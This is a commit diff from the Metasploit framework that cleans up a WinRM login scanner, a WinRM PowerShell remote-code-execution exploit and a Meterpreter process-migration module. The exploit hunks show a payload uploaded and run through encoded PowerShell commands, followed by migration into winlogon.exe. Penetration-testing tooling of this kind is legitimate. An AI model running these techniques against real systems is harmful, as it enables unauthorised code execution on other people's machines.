Man i'm rusty at writing for framework

Fixes up all sinn3r's findings so far

Author: David Maloney

modules/auxiliary/scanner/winrm/winrm_login.rb

@@ -29,7 +29,7 @@ def initialize
 				This module attempts to authenticate to a WinRM service. It currently
 				works only if the remote end allows Negotiate(NTLM) authentication.
 				Kerberos is not currently supported.  Please note: in order to use this
-				module without SSL, the 'AllowUnencrypted' winrm option must be set. 
+				module without SSL, the 'AllowUnencrypted' winrm option must be set.
 				Otherwise adjust the port and set the SSL options in the module as appropriate.
 			},
 			'Author'         => [ 'thelightcosine' ],

modules/exploits/windows/winrm/winrm_powershell.rb

@@ -17,13 +17,13 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = ManualRanking
 
 	include Msf::Exploit::Remote::WinRM
-	include Msf::Auxiliary::Report
+
 
 	def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'WinRM Powershell Remote Code Execution',
 			'Description'    => %q{
-					This module uses  valid credentials to login to the WinRM service
+					This module uses valid credentials to login to the WinRM service
 					and execute a payload as a powershell script. It then attempts to
 					automigrate before the WinRS shell dies.
 
@@ -71,18 +71,21 @@ def check
 	end
 
 	def exploit
-		unless  check[0] == "vulnerable"
+		unless  check == Msf::Exploit::CheckCode::Vulnerable
 			print_error "Unable to set Execution Policy"
 			return
 		end
 		path = upload_script
+		return if path.nil?
 		exec_script(path)
 		handler
 	end
 
 	def upload_script
-		path = temp_dir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
-		print_status "uploading powershell script to #{path} "
+		tdir = temp_dir
+		return if tdir.nil?
+		path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
+		print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
 
 		script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
 		#add a sleep to the script to give us enoguh time to establish a session
@@ -118,21 +121,20 @@ def exec_script(path)
 	def encoded_psh(script)
 		script = script.chars.to_a.join("\x00").chomp
 		script << "\x00" unless script[-1].eql? "\x00"
-		if(defined?(script.encode))
-		script = script.encode('ASCII-8BIT')
-		script = Base64.strict_encode64(script)
-		else
-		script = Base64.encode64(script).chomp
-		end
+		script = Rex::Text.encode_base64(script).chomp
 		cmd = "powershell -encodedCommand #{script}"
 	end
 
 	def temp_dir
 		print_status "Grabbing %TEMP%"
 		resp,c = send_request_ntlm(winrm_open_shell_msg)
+		if resp.nil?
+			print_error "Got no reply from the server"
+			return nil
+		end
 		unless resp.code == 200
 			print_error "Got unexpected response: \n #{resp.to_s}"
-			return
+			return nil
 		end
 		shell_id = winrm_get_shell_id(resp)
 		cmd = "echo %TEMP%"

modules/post/windows/manage/smart_migrate.rb

@@ -18,7 +18,7 @@ def initialize(info={})
 		super( update_info( info,
 			'Name'          => 'Windows Manage Process Migration',
 			'Description'   => %q{ This module will migrate a Meterpreter session.
-				It will first attempt to mgirate to winlogon.exe . If that fails it will
+				It will first attempt to migrate to winlogon.exe . If that fails it will
 				then look at all of the explorer.exe processes. If there is one that exists
 				for the user context the session is already in it will try that. Failing that it will fall back
 				and try any other explorer.exe processes it finds},